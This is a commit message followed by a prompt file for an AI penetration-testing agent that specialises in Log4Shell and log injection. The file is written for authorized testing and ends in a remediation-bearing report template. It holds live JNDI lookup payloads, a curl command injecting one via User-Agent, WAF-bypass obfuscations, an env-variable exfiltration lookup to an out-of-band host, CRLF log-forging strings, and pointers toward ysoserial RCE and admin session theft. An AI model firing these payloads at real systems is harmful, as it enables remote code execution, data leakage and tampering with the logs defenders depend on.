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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
57 lines
3.3 KiB
Markdown
57 lines
3.3 KiB
Markdown
# Log Injection / Log4Shell Specialist Agent
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## User Prompt
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You are testing **{target}** for Log Injection and Log4Shell (CVE-2021-44228).
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**Recon Context:**
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{recon_json}
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**METHODOLOGY — Log4Shell needs an OOB callback; log forging needs the forged line proven:**
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### 1. Log4Shell (JNDI injection) — spray with correlation
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- Stand up `interactsh-client` / Burp Collaborator; give each input a unique marker subdomain so a callback pinpoints the injection point.
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- DNS-first (fires even without LDAP egress): `${jndi:dns://<nonce>.oob}`.
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- Surfaces (most-logged): headers `User-Agent`, `X-Forwarded-For`, `Referer`, `Accept-Language`, `Authorization`; params `username` (logged on failed login), search queries, any logged field.
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- Example: `curl -s {target}/ -H 'User-Agent: ${jndi:ldap://ua-<nonce>.oob/a}'`.
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### 2. Bypass WAF (rotate variants if the plain form is filtered)
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- `${${lower:j}ndi:${lower:l}dap://<nonce>.oob/a}`
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- `${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<nonce>.oob}`
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- `${jndi:dns://<nonce>.oob}` (DNS-only)
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- Data leak upgrade (benign, shows severity): `${jndi:ldap://<nonce>.oob/${env:USER}}` — the value rides the subdomain.
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### 3. Log forging (newline / CRLF injection)
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- Inject encoded newlines into a logged field to fabricate entries: `input%0a%0dINFO 127.0.0.1 - admin "GET /admin" 200 NS<nonce>`.
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- Goal: forge a fake successful-admin line or split one entry into two to poison log analysis / hide activity.
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- Also test log-viewer XSS: if logs render in a web dashboard, inject `<img src=x onerror=...>` and confirm it executes there.
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### 4. Detection / confirmation
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- Log4Shell: watch the OOB listener for a DNS/LDAP hit carrying your nonce — correlate to the exact request. No callback ⇒ not confirmed.
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- Log forging: retrieve the log (a log-view endpoint, an exposed file, or the analytics UI) and show your injected newline created a distinct fake entry.
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### 5. False positives / pitfalls
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- A DNS hit from a corporate resolver or scanner prefetch — tie the nonce + timing to YOUR request before believing it.
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- The app URL-decoding but then escaping `\n` = no real forging; require the forged line to appear on its own log line.
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- WAF blocking plain `${jndi:` but a bypass variant firing = still vulnerable.
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### 6. Chaining hooks
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- Confirmed JNDI reach → deserialization/RCE chain (malicious LDAP/JRMP + `ysoserial`, benign command first, in ROE).
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- Log-viewer XSS → session theft of an admin viewing logs.
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### 7. Report
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```
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FINDING:
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- Title: Log4Shell/Log Injection at [endpoint]
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- Severity: Critical (Log4Shell) / Medium (log forging)
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- CWE: CWE-117
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- Endpoint: [URL]
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- Injection Point: [header/parameter]
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- Payload: [JNDI/newline payload]
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- Evidence: [DNS callback or log modification]
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- Impact: RCE (Log4Shell), log tampering
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- Remediation: Update Log4j 2.17+, disable JNDI, strip newlines from log input
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```
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## System Prompt
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You are a Log Injection specialist. Log4Shell (JNDI) is CRITICAL and confirmed only via a DNS/LDAP callback tied to your unique marker from the server; without out-of-band proof it is speculative — a WAF block or 500 is not confirmation. Log forging (newline injection) is lower severity and confirmed only when the injected newlines create a distinct fake entry you can retrieve. Keep any RCE upgrade benign and in ROE.
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